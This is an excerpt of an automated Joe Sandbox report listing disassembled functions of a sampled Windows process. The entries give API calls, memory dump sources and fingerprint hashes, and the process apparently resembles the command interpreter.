                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: MemoryProcessRead$AddressLibraryLoadProc
                                                                                                                                                                                                                                  • String ID: NTDLL.DLL$NtQueryInformationProcess
                                                                                                                                                                                                                                  • API String ID: 1580871199-2613899276
                                                                                                                                                                                                                                  • Opcode ID: 571ad15ac5a813b080cca762d293a1cbe04edf95c82ef021c92cdc41b64106e1
                                                                                                                                                                                                                                  • Instruction ID: cf24ee804f190e9e2b0c295b87ce9a6032323f67a80d4abd2ff07cb6b434b3dc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 571ad15ac5a813b080cca762d293a1cbe04edf95c82ef021c92cdc41b64106e1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2F4153B0A00329BBDB249B24DC85EAB77BCEB41745F0485A9AA05E3281DB70DE45CB75
                                                                                                                                                                                                                                  Function 00D2654B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 107fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D265A4
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,00000000,00000003,08000080,00000000), ref: 00D265D7
                                                                                                                                                                                                                                  • _open_osfhandle.MSVCRT ref: 00D265EB
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,?), ref: 00D32092
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
                                                                                                                                                                                                                                  • String ID: con
                                                                                                                                                                                                                                  • API String ID: 689241570-4257191772
                                                                                                                                                                                                                                  • Opcode ID: 99fdf387ab0ba30aa85b765bc455e271ee5ca66d80f3abcd50cadb61c560ba1b
                                                                                                                                                                                                                                  • Instruction ID: ed0948a6ed3c92beb6832b5803221e8e929e5e49da9c2f47260bda6daac69ad8
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 99fdf387ab0ba30aa85b765bc455e271ee5ca66d80f3abcd50cadb61c560ba1b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7B314832A04321AFD7248BACAC49B7F7AA9E751339F240329E852E32C4DB70CD008771
                                                                                                                                                                                                                                  Function 00D361A2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98memoryfileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000104), ref: 00D361D7
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000000,00000000,00000040), ref: 00D36211
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,00000014,00000004), ref: 00D36254
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D3625B
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?), ref: 00D3628D
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D36294
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,00000040), ref: 00D3629B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$FileProcess$AllocCloseCreateFreeHandlePointer
                                                                                                                                                                                                                                  • String ID: PE
                                                                                                                                                                                                                                  • API String ID: 3093239467-4258593460
                                                                                                                                                                                                                                  • Opcode ID: d82ceb058307cc96ceec8c16eb5c71067023b6cf492bb8af328bb78af90fc6c2
                                                                                                                                                                                                                                  • Instruction ID: 854522f2c0aea86854f7182f8969bdc6c94d5ab2e259d64e9c57514ef91bc1ab
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d82ceb058307cc96ceec8c16eb5c71067023b6cf492bb8af328bb78af90fc6c2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1731C338600714BAEB106BA58C49FAF77A9EFC8B15F0A8214FD11D62C4DFB0D806C676
                                                                                                                                                                                                                                  Function 00D18F21 Relevance: 13.9, APIs: 9, Instructions: 389COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D18FCD
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D18FE3
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D19002
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D19013
                                                                                                                                                                                                                                    • Part of subcall function 00D1A62F: wcschr.MSVCRT ref: 00D1A635
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp$AttributesErrorFileLastwcschr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2943530692-0
                                                                                                                                                                                                                                  • Opcode ID: 1df6c48733148c9af9cbbbe5419792f82020fada9c99214afc7cd8affbad7c2e
                                                                                                                                                                                                                                  • Instruction ID: 76ca5726ea18ee87bd63375064d69954398f5b3fe78c0912419327b027e81b3a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1df6c48733148c9af9cbbbe5419792f82020fada9c99214afc7cd8affbad7c2e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42C11B31A00321ABCB249F78A4656B9F3B1EF58314F18412AE546D7290EFB0DDC1C771
                                                                                                                                                                                                                                  Function 00D1802C Relevance: 13.7, APIs: 9, Instructions: 175COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D18060
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,00000000,?,00000000), ref: 00D181BE
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D1818C
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D18197
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,-00000001,00000000,?,00000000), ref: 00D2B09E
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D2B0AB
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D2B0C1
                                                                                                                                                                                                                                  • fprintf.MSVCRT ref: 00D2B0D5
                                                                                                                                                                                                                                  • fflush.MSVCRT ref: 00D2B0E3
                                                                                                                                                                                                                                    • Part of subcall function 00D18F21: _wcsicmp.MSVCRT ref: 00D18FCD
                                                                                                                                                                                                                                    • Part of subcall function 00D18F21: _wcsicmp.MSVCRT ref: 00D18FE3
                                                                                                                                                                                                                                    • Part of subcall function 00D18F21: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D19002
                                                                                                                                                                                                                                    • Part of subcall function 00D18F21: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D19013
                                                                                                                                                                                                                                    • Part of subcall function 00D18E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D58BF0,00000000,?), ref: 00D18EC3
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D3A
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D44
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D57
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D61
                                                                                                                                                                                                                                    • Part of subcall function 00D201F5: wcsrchr.MSVCRT ref: 00D201FB
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Error$Mode$AttributesCriticalFileHeapLastSection_wcsicmpmemset$AllocCurrentDirectoryEnterFullLeaveNamePathProcessfflushfprintflongjmpwcsrchr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3753564779-0
                                                                                                                                                                                                                                  • Opcode ID: 6449b068465b76690b8b22505b4927df0de36c685f913a501b41ee13058c1929
                                                                                                                                                                                                                                  • Instruction ID: c8063c57cca51792bbaa48e930721e880f400efb493bbb67f72a559e8693e3bd
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6449b068465b76690b8b22505b4927df0de36c685f913a501b41ee13058c1929
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C51CE32A00321BBCB24DBB8BC56AAAB7A5EF18714F180419F946D7291DF70C9C1DB71
                                                                                                                                                                                                                                  Function 00D38B6C Relevance: 13.6, APIs: 9, Instructions: 93fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D38B7B
                                                                                                                                                                                                                                  • FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D39323,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00D38B83
                                                                                                                                                                                                                                    • Part of subcall function 00D1A16C: _close.MSVCRT ref: 00D1A19B
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D38BB5
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D38BBD
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D38BCF
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D38BD7
                                                                                                                                                                                                                                  • memcmp.MSVCRT(?,?,?), ref: 00D38BED
                                                                                                                                                                                                                                    • Part of subcall function 00D2654B: _wcsicmp.MSVCRT ref: 00D265A4
                                                                                                                                                                                                                                    • Part of subcall function 00D2654B: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,00000000,00000003,08000080,00000000), ref: 00D265D7
                                                                                                                                                                                                                                    • Part of subcall function 00D2654B: _open_osfhandle.MSVCRT ref: 00D265EB
                                                                                                                                                                                                                                    • Part of subcall function 00D2654B: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,?), ref: 00D32092
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D38C1A
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D38C22
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$_get_osfhandle$Pointer$BuffersCloseCreateFlushHandleRead_close_open_osfhandle_wcsicmpmemcmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4208585293-0
                                                                                                                                                                                                                                  • Opcode ID: 59cb637e6e7b736bec3249643bb7b388ef4df58a9b4df7b51d78410bf250f4e3
                                                                                                                                                                                                                                  • Instruction ID: acda85e6f913f45bcb7fb0c934196cbffa509dab64e30d7f033d2478cf333555
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 59cb637e6e7b736bec3249643bb7b388ef4df58a9b4df7b51d78410bf250f4e3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 45219171610304BFEB286F78EC4AE7A7769EF44361F244628F556C22E1EEB18C419631
                                                                                                                                                                                                                                  Function 00D238D0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 247COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                                                  • String ID: %s
                                                                                                                                                                                                                                  • API String ID: 2221118986-3043279178
                                                                                                                                                                                                                                  • Opcode ID: 05f5af10833b8a6953107bf030a30b1c76821c91c329d78f7b0e873d1f18abb1
                                                                                                                                                                                                                                  • Instruction ID: c3bc14025da687e070d48bc8146e1e33e61e17c7e3f6f9de4fc602cb244897c2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 05f5af10833b8a6953107bf030a30b1c76821c91c329d78f7b0e873d1f18abb1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2E9160716083519BD734DB14E855BABB3E4BFA8308F04093DE98996190EB78DA44CB72
                                                                                                                                                                                                                                  Function 00D1BF70 Relevance: 12.4, APIs: 8, Instructions: 447COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D1C1B7
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D1C1FC
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D1C28A
                                                                                                                                                                                                                                  • longjmp.MSVCRT(?,000000FF), ref: 00D2CFB0
                                                                                                                                                                                                                                  • longjmp.MSVCRT(?,000000FF), ref: 00D2CFC4
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heaplongjmpwcstol$AllocProcess_wcsnicmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2863075230-0
                                                                                                                                                                                                                                  • Opcode ID: e91470a1b6df24c27e5037724aa5502b86d69e5e6afafa786af8224da5cbe37e
                                                                                                                                                                                                                                  • Instruction ID: e83b632a6c26a6ac8bfd7cb77b795025a704d30aae7b6a67b666941493b908d1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e91470a1b6df24c27e5037724aa5502b86d69e5e6afafa786af8224da5cbe37e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42F1A175D50215EBCB24CF98E8806FEB7B1EF58704F19521AD856A7340EB719D81CBB0
                                                                                                                                                                                                                                  Function 00D226DC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 193COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D22795
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2280E
                                                                                                                                                                                                                                  • GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,00000000,00000000,00000000,00000104,-00000001,?,00000002,00000000), ref: 00D2281D
                                                                                                                                                                                                                                  • GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,?,?,00000000), ref: 00D22857
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,00000002,00000000), ref: 00D2290B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$EnvironmentVariable
                                                                                                                                                                                                                                  • String ID: DIRCMD
                                                                                                                                                                                                                                  • API String ID: 1405722092-1465291664
                                                                                                                                                                                                                                  • Opcode ID: bc16b3812877a337dac5d75c9112f61ea528731de47c4f82a134993f1e45df83
                                                                                                                                                                                                                                  • Instruction ID: 1d395b3fc43364da9ddeb4812f78e1a0ddf75cc69e4f4ec96aa92e2ca03f00d0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bc16b3812877a337dac5d75c9112f61ea528731de47c4f82a134993f1e45df83
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B07119B190C3919BD764DF29E4846ABFBE4FFA4304F14492EB59983250DB30D944CB67
                                                                                                                                                                                                                                  Function 00D231EA Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswdigit
                                                                                                                                                                                                                                  • String ID: +-~!$<>+-*/%()|^&=,
                                                                                                                                                                                                                                  • API String ID: 2770779731-632268628
                                                                                                                                                                                                                                  • Opcode ID: 6a4ecff12c3f874db74dffc2ab178b3c5cac090d583c6b00c03c8f266dca4aa1
                                                                                                                                                                                                                                  • Instruction ID: fe4944c2122bb55ff7f0c3eec09eac1cadbcfd660302d8c7c6488ecfad58a3be
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6a4ecff12c3f874db74dffc2ab178b3c5cac090d583c6b00c03c8f266dca4aa1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 78118236204322EFA7249F6EF84487677E9EF6A769324001FF980C7250EB25DC408678
                                                                                                                                                                                                                                  Function 00D149F8 Relevance: 12.2, APIs: 8, Instructions: 187COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: _get_osfhandle.MSVCRT ref: 00D19A1C
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D1793A,00000104,?), ref: 00D19A2B
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A47
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A56
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A61
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A6A
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D286E3
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D286EB
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002), ref: 00D2872A
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D28743
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D2874B
                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: _get_osfhandle.MSVCRT ref: 00D19B4E
